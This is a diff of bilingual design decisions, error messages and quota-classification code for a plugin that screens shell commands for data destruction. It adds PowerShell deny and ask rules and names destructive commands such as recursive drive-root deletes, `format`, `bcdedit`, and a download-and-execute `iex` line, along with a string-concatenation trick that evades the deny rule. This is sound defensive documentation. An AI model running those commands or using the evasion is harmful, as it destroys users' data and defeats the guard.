+ used, and `jev-preview` — the alias upstream's new image-mode model `jev-1.14.0` sits behind — is deliberately not adopted.
547
+ Measured through the production path on 2026-10-15: `jev-latest` still resolved to `jev-1.13.0`, `jev-preview` resolved to
548
+ `jev-1.14.0`, and `jev-1.14` / `jev-1.14-preview` do not exist at all (`400 Unknown model`, which this release now
549
+ classifies as `request` — see D17).
550
+
551
+ **Why a version and not an alias:** an alias is a promise made by the service, not by this repository. `jev-latest` may
552
+ point somewhere else the moment upstream promotes a new model, and this repository's thresholds (0.5 / 0.7) were fitted on
553
+ `1.13.0` — a plugin that ships an alias changes what a fresh install judges with, silently, with no version bump and no test
554
+ run. Those thresholds decide whether a destructive command is `allow`, `revise` or `escalate`, so the model belongs in the
555
+ same category as the thresholds: pinned, and changed only together with them.
556
+
557
+ **Why the image-mode model is not adopted** — two reasons, each sufficient on its own:
558
+
559
+ 1. **The valve has nothing to send it.** Every judgment is one text question: `QUESTION_ID = 'destroys_data'`, a
560
+ `{ type: 'noul' }` question built by `judgeQuestion()` in `lib/gate.js`, of whose answer this plugin reads a single
561
+ probability (`answer.noul`). There is no screenshot, no image and no multimodal input anywhere on the path, and no plan
562
+ for one — a command string is what gets judged. An image-mode model would answer the same text question while carrying a
563
+ capability that is never called.
564
+ 2. **Upstream's own position is that it is not production-ready.** Said to us in those terms on 2026-10-15. Putting a model
565
+ the vendor declines to stand behind on the refusing side of a safety valve would trade the one property this component
566
+ exists to provide — a calibrated, trusted decision — for currency with the vendor's newest release.
567
+
568
+ **What adoption would actually require** (so a later reader does not mistake this for a one-line config edit): a
569
+ re-calibration of both thresholds on the new model, plus a re-run of the 737 recorded commands in `measurements/` to show
570
+ where the verdicts move. That corpus is the same instrument that was used to check the pin itself changed nothing:
571
+ `allow` 722 / `revise` 8 / `escalate` 7 / `deny` 0, mean |Δp| 0.0045 over the 555 commands comparable with the recorded run.
572
+
573
+ **The honest limit:** nothing here can say whether `1.14.0` judges better — only that adopting it without re-calibration
574
+ cannot be justified, and that neither reason above depends on the other. If upstream promotes a text model that calibrates
575
+ better, that is a different decision made the same way: re-fit, re-run the corpus, then bump the version.
576
+
577
+ ---
578
+
579
+ ## D19 · The destructive surface of the executor that **actually runs** belongs in L0 (2026-10-17)
580
+
581
+ **Decision:** the L0 rule set is written in the syntax of the shell that executes on this machine, not the one the project
582
+ was born on. On 2026-10-17 this profile's executor was flipped from bash to pwsh — Git Bash's MSYS2 runtime cannot start
583
+ under the sandbox's `WRITE_RESTRICTED` token, so `pwsh` is what actually runs commands here (the four config edits are the
584
+ ones in `cordis.patch.yml`). The PowerShell destructive surface moved into the offline rules in 0.5.6: recursive deletes of
585
+ a drive root, the Windows directory or a profile root, plus `format`, `bcdedit`, `Disable-ComputerRestore` became `deny`;
586
+ `iex` / `-EncodedCommand` / registry deletes / `net user … /delete` / `takeown`+`icacls` on a drive root / `Clear-RecycleBin`
587
+ became `ask`.
588
+
589
+ **Why L0 rather than "the model will catch it":**
590
+
591
+ 1. **L0 is the floor that survives.** The semantic layer is given 1800 ms and fails open when it runs out, and it stands
592
+ aside entirely during a degradation window. Measured in this workspace on the day of the flip: 8 of the judgments were
593
+ `source: error`, every one of them a timeout — each of those commands ran with no model decision behind it. A
594
+ `Remove-Item -Recurse C:\` that lands in that set is stopped by nothing else.
595
+ 2. **It is free, and its failure is loud.** L0 runs offline and in-process before any request; a false positive is visible
596
+ and has an exit (the token / the host's approval prompt), while a miss at the semantic layer is silent by construction.
597
+ 3. **A rule set written for a shell that no longer runs is a false claim in the docs.** The README says the valve covers
598
+ destructive shell commands; on this host bash never executes, so a bash-only L0 was covering the wrong syntax.
599
+
600
+ **Why the old drive-root rule was rewritten, not extended.** The pre-0.5.6 pattern
601
+ `Remove-Item[^\n]*-Recurse[^\n]*\b[A-Za-z]:\\` never tested the *target*: it matched the first drive-letter path anywhere
602
+ on the line, so an ordinary cleanup — `Remove-Item -Recurse C:\Users\me\build` — was **denied**. Measured before the
603
+ change. This is the friction D4 warns about, in reverse: an accident net that cries wolf on routine work gets ignored, and
604
+ an ignored net is worse than a narrow one. The rule now requires a **root** target (a drive root, `C:\Windows` /
605
+ `$env:SystemRoot` / `%SystemRoot%`, a profile root / `$env:USERPROFILE` / `$HOME` / `C:\Users\<name>` / `~`) with a token
606
+ boundary, and detects `-Recurse` / `/s` by lookahead so `-Path C:\ -Recurse` (flag after the target) is covered too.
607
+
608
+ **What is deliberately not denied.** `Remove-Item -Recurse .\build` (project-local cleanup), `Clear-Content <file>` and
609
+ `Clear-RecycleBin` (ask, not deny), `Format-Table` (not `format`), and prose that merely mentions a cmdlet
610
+ (`Get-Help Clear-Content`). The F group of `tools/selftest-rules.mjs` pins that with ten negative cases, so widening a rule
611
+ later cannot quietly start denying routine work. `format` only fires when a drive letter is given: a bare `format` opens an
612
+ interactive prompt and destroys nothing until a human answers it.
613
+
614
+ **The honest limit.** Dynamic composition defeats any pattern: `Remove-Item -Recurse ("C" + ":\")` is not matched by the
615
+ deny rule, and `iex (New-Object Net.WebClient).DownloadString(…)` is only an `ask`. That is the boundary D1 already draws —
616
+ an accident net, not a security boundary. The ask rules exist so a composed command is seen by a human at the moment it
617
+ would run, rather than passing silently.
618
+
@@ -473,3 +473,84 @@ notice 是持久的、带来源标注的、模型可见的;而自己造一个 UI
473
473
  `guard status --clear` 会打印它并以退出码 1 结束,而不是说一句"无需清除"。从进程内部修不了的只剩一件事:
474
474
  **新起的进程**会读到同一份旧文件,而既然谁也删不掉它,那次探测就会再发生一次 —— 这是一个"不肯忘记"的
475
475
  文件系统的诚实上限。
476
+
477
+ ---
478
+
479
+ ## D17 · `451` 是**地区**拦截、`400`/`422` 是**请求**本身的问题 —— 两者都**降级**,都不留在 `unknown`(2026-10-15)
480
+
481
+ **决定:** `451` 独立成 `region` 类:降级、**全局**作用域、30 分钟冷却。`400`/`422` 独立成 `request` 类:降级、
482
+ **本地**作用域、15 分钟冷却。两者都不是 `edge` 拦截,也都不再留在 `unknown`。
483
+
484
+ **为什么 `unknown` 是错的(实测):** 2026-10-15,一台 Windows 桌面部署在一场会话里判定了 83 次,成功 **0** 次 ——
485
+ 每一次回来的都是 `HTTP 451`,正文是判定服务自己的
486
+ `{"title":"Typesafe is not available in your region.","status":451}`。而 `unknown` 是 `{ degraded: false, cooldownMs: 0 }`,
487
+ 于是阀门对每条命令都 fail-open、把一条刚刚被拒的请求再发一遍、不写状态文件,`guard status` 全程打印"正常"
488
+ (那 83 条里有 73 条是 `source: error` / `errorKind: unknown`,全部 `allow`)。`unknown` 是为"我们真的分不出来"这个
489
+ 诚实的处境准备的;而现场数据说:这里分得出来。同一份沉默也盖住了写错的 `model`:
490
+ `400` + `{"detail":{"error_type":"api_usage_error","message":"Unknown model: jev-nope"}}` 同样落进 `unknown`,
491
+ 没有任何一句话说"配置写错了"。
492
+
493
+ **为什么不归 `edge`:** D16 的规矩是——不像那个 JSON 应用的响应(HTML、WAF 指纹)根本没到应用层,所以不许降级。
494
+ 而这份正文**就是**那个应用的 JSON,content-type 也是 JSON,说明请求到了服务,是服务对"它从哪里来"做了策略判断。
495
+ `451` 有意不去查 `looksLikeEdgeBlock()`;把 D16 那套分法套在这里,等于用一个真实且持续的状况去换逐次 fail-open。
496
+
497
+ **为什么 `region` 全局、`request` 本地**(D15 的规矩在此的用法):地区拦截是**出口路径**的属性,这台机器上每条入口
498
+ 都共享它 —— 所以那份状态必须把所有入口一起按停,否则每条入口都要用自己的被拒请求再发现一次。而 `400`/`422` 说的是
499
+ **这条入口的配置**(它的 `model`、它的正文),别的入口并不共享,所以状态写成 `scope: 'local'`,过滤方式与 `no-key` 完全一致。
500
+
501
+ **为什么用冷却而不是逐次 fail-open:** 地区拦截不会在两条命令之间自己消失 —— 逐次 fail-open 正是那"一场会话 83 次
502
+ 被拒往返"的来源。每 30 分钟探一次,代价是每半小时一条被拒请求,而出口一旦到了允许的地区就自动恢复;`request` 的
503
+ 窗口更短(15 分钟),因为改好的 `model` 可能一分钟后就在那儿了。
504
+
505
+ **诚实的上限:** 阀门修不了出口 —— 那是操作者这一侧的事。地区拦截是真的时,阀门的职责是**大声说出来**
506
+ (新增的 `quota.region.*` 文案会点名出口 IP 与代理),并且不再对一场什么都没判定的会话报"正常"。
507
+ `tools/selftest-quota.mjs` 第 18 节把这些都钉住了,包括端到端的形状:一次 `451`、一次 HTTP 请求、状态文件写成
508
+ `kind: region` + `scope: global`、下一条命令被抑制。
509
+
510
+ ---
511
+
512
+ ## D18 · 判定模型用**固定版本号**而不是浮动别名,并且**不跟进**新的**图像模式**模型(2026-10-15,用户决定)
513
+
514
+ **决定:** 本插件发出的是 `model: jev-1.13.0`,并且一直停在这里,直到有人重新标定。`jev-latest` 不再使用;而
515
+ `jev-preview` —— 上游新的图像模式模型 `jev-1.14.0` 就挂在这个别名后面 —— **故意不跟进**。2026-10-15 走生产路径
516
+ 实测:`jev-latest` 仍解析到 `jev-1.13.0`,`jev-preview` 解析到 `jev-1.14.0`,而 `jev-1.14` / `jev-1.14-preview`
517
+ 根本不存在(`400 Unknown model`,本次发布已把它归类为 `request` —— 见 D17)。
518
+
519
+ **为什么用版本号而不是别名:** 别名是**服务**给出的承诺,不是本仓给出的。上游一转正,`jev-latest` 就可能指向别处,
520
+ 而本仓的阈值(0.5 / 0.7)是在 `1.13.0` 上拟合出来的 —— 一个发出别名的插件会在没有任何版本变更、没有任何测试运行的
521
+ 情况下,**静默地**改变新装用户拿什么模型做判定。这两个阈值决定一条破坏性命令是 `allow`、`revise` 还是 `escalate`,
522
+ 所以模型和阈值属于同一类东西:钉住,并且只和阈值一起改。
523
+
524
+ **为什么不跟进图像模式模型** —— 两条理由,各自就足够:
525
+
526
+ 1. **阀门没有任何东西可以喂给它。** 每一次判定都只是一个文本问题:`QUESTION_ID = 'destroys_data'`,由
527
+ `lib/gate.js` 的 `judgeQuestion()` 构造的 `{ type: 'noul' }` 问题,而本插件从它的答复里只读**一个概率**
528
+ (`answer.noul`)。整条路径上没有截图、没有图片、没有任何多模态输入,也没有这样的计划 —— 被判定的是**一条命令
529
+ 字符串**。图像模式模型会回答同一个文本问题,同时背上一个永远不被调用的能力。
530
+ 2. **上游自己说它还不够进生产。** 2026-10-15 原话如此。把厂商自己都不愿背书的模型放在安全阀门的**拒绝侧**,等于用
531
+ 这个组件存在的唯一理由 —— 一个经过标定、可信的判定 —— 去换和厂商最新版本的同步。
532
+
533
+ **真要跟进需要做什么**(免得后来的读者把它当成改一行配置):在新模型上**重新标定**两个阈值,并且**重跑** `measurements/`
534
+ 里记录的 737 条真实命令,看判定往哪儿移动。这套语料也正是用来验证"钉住版本号本身没有改变任何东西"的那件仪器:
535
+ `allow` 722 / `revise` 8 / `escalate` 7 / `deny` 0,与那次记录可比的 555 条命令上 |Δp| 平均 0.0045。
536
+
537
+ **诚实的上限:** 这里说不出 `1.14.0` 判定得更好还是更差 —— 只能说:不重新标定就跟进,无法被论证;而上面两条理由
538
+ 互不依赖。如果上游转正的是一个标定更好的文本模型,那是另一个决定,走同样的流程:重新拟合、重跑语料、再抬版本号。
539
+
540
+ ---
541
+
542
+ ## D19 · **真正在执行的**那个执行器的破坏性操作面,属于 L0(2026-10-17)
543
+
544
+ **决定:** L0 规则用**这台机器上真正执行**的那个 shell 的语法来写,而不是项目出生时的那个。2026-10-17 本 profile 的执行器从 bash 翻成 pwsh —— Git Bash 的 MSYS2 运行时在沙盒的 `WRITE_RESTRICTED` 令牌下起不来,所以这里真正跑命令的是 `pwsh`(四处配置改动就是 `cordis.patch.yml` 里的那几处)。0.5.6 把 PowerShell 的破坏性操作面移进了离线规则:递归删除盘符根 / Windows 目录 / 用户目录根,以及 `format`、`bcdedit`、`Disable-ComputerRestore` 进 `deny`;`iex` / `-EncodedCommand` / 注册表删除 / `net user … /delete` / 盘符根上的 `takeown`+`icacls` / `Clear-RecycleBin` 进 `ask`。
545
+
546
+ **为什么是 L0,而不是"模型会抓到":**
547
+
548
+ 1. **L0 是超时之后还在的那层地板。** 语义层只有 1800ms,超时即 fail-open;降级窗口里它更是整个退场。翻执行器当天在这个工作区量到的:8 条判定是 `source: error`,每一条都是超时 —— 那些命令跑的时候,背后没有任何模型判定。一条落进这 8 条里的 `Remove-Item -Recurse C:\`,没有别的东西会拦它。
549
+ 2. **它免费,而且失败是响的。** L0 离线、同进程、在任何请求之前跑;误报看得见、也有出口(令牌 / 宿主审批弹窗),而语义层漏判在结构上就是静默的。
550
+ 3. **给一个已经不跑的 shell 写规则,等于文档说谎。** README 说阀门覆盖破坏性 shell 命令;在这台机器上 bash 根本不会执行,那么一份只写 bash 的 L0,覆盖的就是错的语法。
551
+
552
+ **为什么旧的盘符根规则是重写而不是扩展。** 0.5.6 之前的模式 `Remove-Item[^\n]*-Recurse[^\n]*\b[A-Za-z]:\\` 从不检查**目标**:它匹配行内任意位置的第一条盘符路径,于是正常的清理 —— `Remove-Item -Recurse C:\Users\me\build` —— 会被 **deny**。改之前实测如此。这正是 D4 警告的那种摩擦的反面:一张对例行工作乱叫的事故网会被忽略,而一张被忽略的网比一张窄的网更糟。现在规则要求目标是**根**(盘符根、`C:\Windows` / `$env:SystemRoot` / `%SystemRoot%`、用户目录根 / `$env:USERPROFILE` / `$HOME` / `C:\Users\<名>` / `~`)并带 token 边界;`-Recurse` / `/s` 用 lookahead 找,所以 `-Path C:\ -Recurse`(flag 在目标之后)也覆盖。
553
+
554
+ **故意不进 deny 的:** `Remove-Item -Recurse .\build`(项目内清理)、`Clear-Content <文件>` 与 `Clear-RecycleBin`(ask,不是 deny)、`Format-Table`(不是 `format` 盘符)、以及只是**提到**某个 cmdlet 的散文(`Get-Help Clear-Content`)。`tools/selftest-rules.mjs` 的 F 组用十条反例把这些钉住,以后放宽某条规则也不会悄悄开始拒绝例行工作。`format` 只有带盘符时才命中:裸 `format` 会开一个交互提示,人不答它什么也不毁。
555
+
556
+ **诚实的上限。** 动态拼接能绕过任何模式:`Remove-Item -Recurse ("C" + ":\")` 不命中 deny 规则,`iex (New-Object Net.WebClient).DownloadString(…)` 只是 `ask`。这就是 D1 已经画下的边界 —— 一张事故网,不是安全边界。ask 规则存在的意义是:拼接出来的命令在真要跑的那一刻被人看见,而不是静默通过。
@@ -178,7 +178,7 @@ is **to add another layer** (sandbox / low-privilege user / container), not to r
178
178
  |---|---|---|---|
179
179
  | **One-shot token** | Allows **the exact text of one command** once | The valve (`~/.jev-guard/allow.txt`) | Not persistent: deleted once used, not replayable |
180
180
  | **DSH approval** | A nod for **this one call** | DSH | Only "allow once", **no permanent allow** (see [`USER-INTERVENTION.md`](./USER-INTERVENTION.md) §2.1) |
181
- | **L0 static rules** | Hard rules with no network (21 deny + 16 ask) | `lib/rules.js` | A token **cannot get past** `deny` |
181
+ | **L0 static rules** | Hard rules with no network (26 deny + 24 ask) | `lib/rules.js` | A token **cannot get past** `deny` |
182
182
 
183
183
  Two numbering systems must also be distinguished: `L0 / L1 / L2` are **judging layers** (see [`ARCHITECTURE.md`](./ARCHITECTURE.md)),
184
184
  and `allow / revise / block / escalate` are **judging results**. The former is "how it was computed", the latter is "what was computed".
@@ -170,7 +170,7 @@ DSH 这边最坏的失效形态是**插件一声不响地没挂上**:没有报
170
170
  |---|---|---|---|
171
171
  | **一次性令牌** | 放行**某一条命令原文**一次 | 阀门(`~/.jev-guard/allow.txt`) | 不持久:用掉即删,不可重放 |
172
172
  | **DSH 审批** | 对**这一次调用**点头 | DSH | 只有"允许一次",**没有永久允许**(见 [`USER-INTERVENTION.md`](./USER-INTERVENTION.md) §2.1) |
173
- | **L0 静态规则** | 不联网的硬规则(21 条 deny + 16 条 ask) | `lib/rules.js` | 令牌**过不去** `deny` |
173
+ | **L0 静态规则** | 不联网的硬规则(26 条 deny + 24 条 ask) | `lib/rules.js` | 令牌**过不去** `deny` |
174
174
 
175
175
  还要区分两个编号体系:`L0 / L1 / L2` 是**判定层**(见 [`ARCHITECTURE.md`](./ARCHITECTURE.md)),
176
176
  `allow / revise / block / escalate` 是**判定结果**。前者是"怎么算出来的",后者是"算出了什么"。
@@ -9,7 +9,7 @@ These numbers are not estimates — they were produced on **this machine** on 20
9
9
  | Item | Value | Source |
10
10
  |---|---|---|
11
11
  | Endpoint | `POST https://api.typesafe.ai/v1/systemone`, `Authorization: Bearer <key>` | official docs |
12
- | Actual responding model | `jev-1.13.0` (`jev-latest` / `jev-preview` are aliases) | measured with `GET /v1/models` |
12
+ | Actual responding model | `jev-1.13.0` — the shipped default is **pinned** to this version; `jev-latest` still resolves to it, while `jev-preview` resolves to the image-mode `jev-1.14.0`, which is deliberately not adopted (D18) | measured through the production path on 2026-10-15 |
13
13
  | Pricing | `$0.042 / Mtok` input (**output is free**) | official docs + measured `usage` in responses |
14
14
  | Cost of one judging (about 450 input tokens) | ≈ `$0.000019` | measured tokens × unit price |
15
15
  | Direct context | 64k/request (32k for state + the longest question) | official docs |
@@ -248,7 +248,7 @@ The judging service is paid, so "out of quota" has to be designed for as a **cer
248
248
  | `degradePolicy: 'off'` | even L0 allows it through (an explicit choice; this is not the default) |
249
249
  | Automatic recovery | when the cooldown expires it fires **one** probe; measured with a stub fetch: on success → clears the state and records `probe+recovered`, on failure → extends it (failures+1, probes+1) and does not try again |
250
250
 
251
- **109 offline assertions** (`tools/selftest-quota.mjs`, with a stub `fetch` covering 402/401/403 (JSON auth vs edge HTML)/two kinds of 429/5xx/timeout/network/no key/
251
+ **113 offline assertions** (`tools/selftest-quota.mjs`, with a stub `fetch` covering 402/401/403 (JSON auth vs edge HTML)/451 (`region`, degrading globally for 30 minutes) and 400·422 (`request`, degrading locally for 15 minutes)/two kinds of 429/5xx/timeout/network/no key/
252
252
  a corrupt state file/a state file that cannot be removed), two of which are **real bugs it caught itself**, recorded here as well:
253
253
 
254
254
  1. `readDegraded` validated the ISO string with `Number(until)` → always NaN → **written into the file yet never readable**,
@@ -366,6 +366,10 @@ Two fixes:
366
366
  2. **`no-key` no longer degrades**: it is a **local configuration** condition, not a service condition — it sends no HTTP at all (degrading saves nothing),
367
367
  and may affect only one entry. The classification is still recorded and the warning still emitted (`guard status` says outright that no key was resolved), but it does not enter the degraded state.
368
368
  The degradation set therefore narrows to the two classes `{quota, auth}`, "the service's attitude towards us has changed".
369
+ Two later decisions moved that set again: D15 made `no-key` degrade **stickily** and scoped `local`, and D17 added
370
+ `region` (`scope: global`) and `request` (`scope: local`) — the set is now `{quota, auth, no-key, region, request}`.
371
+ What this section fixed is the *reasoning*, and it still holds: a condition that a single entry point can be
372
+ responsible for must not be written into shared state.
369
373
 
370
374
  **The pattern:** for any combination of "shared state + independent per-entry preconditions", ask "will this local failure get written into global state".
371
375
 
@@ -9,7 +9,7 @@
9
9
  | 项 | 值 | 来源 |
10
10
  |---|---|---|
11
11
  | 端点 | `POST https://api.typesafe.ai/v1/systemone`,`Authorization: Bearer <key>` | 官方文档 |
12
- | 实际应答模型 | `jev-1.13.0`(`jev-latest` / `jev-preview` 是别名) | `GET /v1/models` 实测 |
12
+ | 实际应答模型 | `jev-1.13.0` —— 发出去的默认值**钉在这个版本号**上;`jev-latest` 仍解析到它,而 `jev-preview` 解析到图像模式的 `jev-1.14.0`,后者**故意不跟进**(D18) | 2026-10-15 走生产路径实测 |
13
13
  | 计费 | `$0.042 / Mtok` 输入(**输出免费**) | 官方文档 + 响应 usage 实测 |
14
14
  | 单次判定成本(约 450 input token) | ≈ `$0.000019` | 实测 token × 单价 |
15
15
  | 直连上下文 | 64k/请求(32k 给 state + 最长问题) | 官方文档 |
@@ -266,7 +266,7 @@ python 源码的字符串里(`c.startswith('mkfs.ext4 …')`),被 `mkfs` 规则
266
266
  | `degradePolicy: 'off'` | 连 L0 也放行(显式选择;默认不是这个) |
267
267
  | 自动恢复 | 冷却到期后放**一次**探测;替身 fetch 实测:成功 → 清状态并记 `probe+recovered`,失败 → 续期(failures+1、probes+1)且不再重复试 |
268
268
 
269
- **离线断言 109 条**(`tools/selftest-quota.mjs`,替身 `fetch` 覆盖 402/401/403(JSON 鉴权 vs 边缘 HTML)/429两种/5xx/超时/网络/无密钥/
269
+ **离线断言 113 条**(`tools/selftest-quota.mjs`,替身 `fetch` 覆盖 402/401/403(JSON 鉴权 vs 边缘 HTML)/451(`region`,全局降级 30 分钟)与 400·422(`request`,本地降级 15 分钟)/429两种/5xx/超时/网络/无密钥/
270
270
  坏状态文件/删不掉的状态文件),其中两条是**自己抓到的真 bug**,一并记在这里:
271
271
 
272
272
  1. `readDegraded` 用 `Number(until)` 校验 ISO 字符串 → 恒为 NaN → **写进去了却永远读不出来**,
@@ -381,7 +381,10 @@ WSL 上验不出这三层里的任何一层。这次用 `C:\Program Files\nodejs
381
381
  1. **路径语义**:相对路径一律按**包根**解析(绝对路径原样使用),与 cwd 无关。
382
382
  2. **`no-key` 不再降级**:它是**本地配置**状况而不是服务状况 —— 一次 HTTP 都不发(降级省不下任何东西),
383
383
  却可能只影响一个入口。分类照记、告警照发(`guard status` 会直接说没解析到密钥),但不进降级态。
384
- 降级集合因此收窄为 `{quota, auth}` 两类"服务对我们的态度已经变了"的情况。
384
+ 降级集合因此收窄为 `{quota, auth}` 两类"服务对我们的态度已经变了"的情况。此后又有两个决定改动了这个集合:D15 让
385
+ `no-key` 变成**粘性**降级并带上 `local` 作用域,D17 又加了 `region`(`scope: global`)与 `request`(`scope: local`)
386
+ —— 现在这个集合是 `{quota, auth, no-key, region, request}`。本节修好的是**推理**,而它依然成立:只有单条入口才可能
387
+ 负责的状况,不许写进共享状态。
385
388
 
386
389
  **规律:** 凡是"共享状态 + 各入口前提独立"的组合,都要问一句"这个局部故障会不会被写进全局状态"。
387
390
 
@@ -74,7 +74,7 @@ node bin/guard.mjs log --stats
74
74
  ### 13 · Quota degradation (offline)
75
75
 
76
76
  ```bash
77
- node tools/selftest-quota.mjs # stand-in fetch: 402/401/403 (JSON) vs 403 (edge HTML)/two kinds of 429/5xx/timeout/network/bad state file
77
+ node tools/selftest-quota.mjs # stand-in fetch: 402/401/403 (JSON) vs 403 (edge HTML)/451 (region) vs 400·422 (request)/two kinds of 429/5xx/timeout/network/bad state file
78
78
  ```
79
79
 
80
80
  **Judging:** all pass. Four things to confirm specifically: a persistent failure **degrades**, a transient failure **does not degrade**,
@@ -73,7 +73,7 @@ node bin/guard.mjs log --stats
73
73
  ### 13 · 额度降级(离线)
74
74
 
75
75
  ```bash
76
- node tools/selftest-quota.mjs # 替身 fetch:402/401/403(JSON)与 403(边缘 HTML)/429两种/5xx/超时/网络/坏状态文件
76
+ node tools/selftest-quota.mjs # 替身 fetch:402/401/403(JSON)与 403(边缘 HTML)、451(region)与 400·422(request)/429两种/5xx/超时/网络/坏状态文件
77
77
  ```
78
78
 
79
79
  **判定:** 全过。重点确认四件事:持久性失败**降级**、瞬态失败**不降级**、
package/lib/i18n.js CHANGED
@@ -103,6 +103,10 @@ const MESSAGES = {
103
103
  'quota.auth.hint': '检查 secrets.json / 环境变量里的 TYPESAFE_API_KEY(别把密钥贴进对话)。',
104
104
  'quota.edge.label': '请求被边缘/WAF 挡下(不是密钥问题)',
105
105
  'quota.edge.hint': '响应不是判定服务给的,而是 CDN/WAF(常见 Cloudflare)的错误页 —— 请求没到应用层,密钥根本没被检查。逐次放行、不降级;若持续出现,查网络出口是否被拦,并看 `guard log --stats` 的 edge 计数。',
106
+ 'quota.region.label': '判定服务在本地区不可用(HTTP 451)',
107
+ 'quota.region.hint': '这个出口 IP 所属的地区不在判定服务的服务范围内 —— 请求在鉴权与请求校验之前就被拒了(与密钥无关:换一个出口 IP,同一个请求的答复就变)。已转冷却降级,每 30 分钟放一次探测;出口换到允许的地区后自动恢复。先查代理与出口 IP。',
108
+ 'quota.request.label': '判定服务不收这个请求(HTTP 400/422)',
109
+ 'quota.request.hint': '被拒的是请求本身(典型报错 `Unknown model: …` —— model 写错了)。重试没有意义,要改的是配置(包内 cordis.patch.yml 的 model、config.json、或 CLI 的 --model)。这是**本地配置**状况:只暂停写下它的那条入口的联网判定,别的入口照常;15 分钟后再探一次。',
106
110
  'quota.no-key.label': '没有解析到判定服务的密钥',
107
111
  'quota.no-key.hint': '三种录入方式(任选):① 跑 `node bin/guard.mjs key set`(从标准输入读,不进 shell 历史与进程列表);② 设环境变量 `TYPESAFE_API_KEY`;③ 在包根写 `secrets.json`(相对路径的 apiKeyFile 按**包根**解析,与 cwd 无关)。录入后不需要重启。别把密钥贴进对话。',
108
112
  'quota.rate-limit.label': '被判定服务限流(429)',
@@ -311,6 +315,10 @@ const MESSAGES = {
311
315
  'quota.auth.hint': 'Check TYPESAFE_API_KEY in secrets.json / the environment (never paste a key into a conversation).',
312
316
  'quota.edge.label': 'the request was blocked at the edge/WAF (not a key problem)',
313
317
  'quota.edge.hint': 'The response did not come from the judging service but from a CDN/WAF (usually Cloudflare) error page — it never reached the application, so the key was never checked. Each call fails open and nothing degrades; if it persists, check whether your egress is being blocked and read the `edge` count in `guard log --stats`.',
318
+ 'quota.region.label': 'the judging service is not available in this region (HTTP 451)',
319
+ 'quota.region.hint': 'This egress IP is outside the region served by the judging service — the request is refused before authentication and before the body is validated (nothing to do with the key: a different egress IP gets a different answer). It is now in cooldown, probing once every 30 minutes and recovering on its own once the egress reaches an allowed region. Check your proxy and egress IP first.',
320
+ 'quota.request.label': 'the judging service refused the request itself (HTTP 400/422)',
321
+ 'quota.request.hint': 'What was rejected is the request itself (typically `Unknown model: …` — the model is wrong). Retrying cannot help; the configuration has to change (the `model` in the package cordis.patch.yml, in config.json, or the CLI --model). This is a **local configuration** condition: only the entry that wrote it pauses its online judging, other entries keep working, and it probes again after 15 minutes.',
314
322
  'quota.no-key.label': 'no key for the judging service could be resolved',
315
323
  'quota.no-key.hint': 'Three ways to set it (pick one): (1) run `node bin/guard.mjs key set` (reads the key from stdin — never shell history or the process list); (2) set the environment variable `TYPESAFE_API_KEY`; (3) write `secrets.json` in the package root (a relative apiKeyFile resolves against the **package root**, independent of cwd). No restart is needed afterwards. Never paste a key into a conversation.',
316
324
  'quota.rate-limit.label': 'rate-limited by the judging service (429)',
package/lib/quota.js CHANGED
@@ -38,6 +38,18 @@
38
38
  * 现在分类器先问"这份响应像不像那个 API 发的",不像就归 `edge`:与第 4 条同一条规矩
39
39
  * (瞬态、逐次 fail-open、只留一条分类痕迹),因为它描述的是"路上的机器",不是服务对我们的态度。
40
40
  *
41
+ * 7. **`451` 与 `400/422` 也不能落进 `unknown`**(2026-10-15,见 docs/DECISIONS.md D17)。
42
+ * 第 6 条把"路上的机器"分了出来,剩下两类确定性失败却都还在静默通道里:
43
+ * · `451` 是**服务按地区拒绝**(正文是那个应用自己发的 JSON:`Typesafe is not available in
44
+ * your region.`)。它不是抖动,而是这个出口对这套服务永久失效 —— 与 `quota`/`auth` 同类,
45
+ * 所以降级(`region`,冷却 30 分钟);换了出口即自动恢复(2026-10-15 实测:同一请求、同一密钥,
46
+ * 大陆出口 451、代理出口 200)。
47
+ * · `400/422` 是**请求本身被拒**(典型:`Unknown model: …`)。这是**本地配置**状况 —— 第 5 条
48
+ * 里 `no-key` 的第二个成员:只有人能修,重试一万次结果相同。所以它降级,但 `scope: 'local'`
49
+ * ——坏掉的是那一条入口的 `model`,不该让别的入口跟着停工。
50
+ * 两者旧行为都是逐次 fail-open 且 `guard status` 全程报"✅ 正常" —— 这正是第 1 条③
51
+ * "没有任何人会发现它在瞎"的复现。判据不是"错误码常不常见",而是"**重试会不会改变结果**"。
52
+ *
41
53
  * @module jev-guard/quota
42
54
  */
43
55
 
@@ -67,6 +79,18 @@ export const KINDS = Object.freeze({
67
79
  // "这一次请求没走到"。按 `auth` 处理会让一次边缘抖动造成 30 分钟全局失能,而且把原因写错。
68
80
  // 与 timeout/network 同类:逐次 fail-open,只在 `guard log --stats` 里留下 edge 计数。
69
81
  edge: Object.freeze({ degraded: false, cooldownMs: 0 }),
82
+ // 判定服务**按地区**拒绝服务(HTTP 451,实测正文 `Typesafe is not available in your region.`)。
83
+ // 它不是"路上被拦"(那种给的是 HTML,见 edge):正文是那个 JSON 应用自己发的,是**服务明确表态**
84
+ // ——这个出口 IP 所属地区不在服务范围内。所以它和 quota/auth 同类:服务对我们的态度变了,而且
85
+ // **不会自己好**。不降级的代价在 2026-10-15 实测过:一条命令一次注定失败的请求,`guard status`
86
+ // 却还说"✅ 正常"(451 落进 `unknown`,而 unknown 不写状态)。冷却 30 分钟,到期放一次探测
87
+ // ——换了出口就自动恢复(实测:同一条请求挂上代理后从 451 变成 422/200)。
88
+ region: Object.freeze({ degraded: true, scope: 'global', cooldownMs: 30 * 60 * 1000 }),
89
+ // 判定服务**拒收我们的请求**(400/422,实测 `{"error_type":"api_usage_error","message":"Unknown model: …"}`)。
90
+ // 这是**本地配置**状况(第一个是 `no-key`,见 D15):模型 ID 写错 / 请求体形状不对,重试一万次
91
+ // 也是同一个结果,只有人能修。所以它降级,但作用域是 `local` —— 坏掉的是**那一条入口的配置**
92
+ // (cordis patch / config.json / CLI 各有自己的 `model`),不该让别的入口跟着停工。
93
+ request: Object.freeze({ degraded: true, scope: 'local', cooldownMs: 15 * 60 * 1000 }),
70
94
  // "没解析到密钥"是**本地配置**状况,不是服务状况。它**也要降级**(没有效密钥时必须像
71
95
  // 额度耗尽那样明说,而不是每条命令静默 fail-open),但降级方式与服务侧相反:
72
96
  // · `sticky: true` —— 一次 HTTP 都不发,没有可探测对象,所以不靠冷却到期结束,
@@ -183,6 +207,15 @@ export function classifyFailure(error) {
183
207
  if (code === 'no-key') return { kind: 'no-key', detail }
184
208
  if (code === 'shape') return { kind: 'shape', detail }
185
209
  if (status === 402) return { kind: 'quota', status, detail }
210
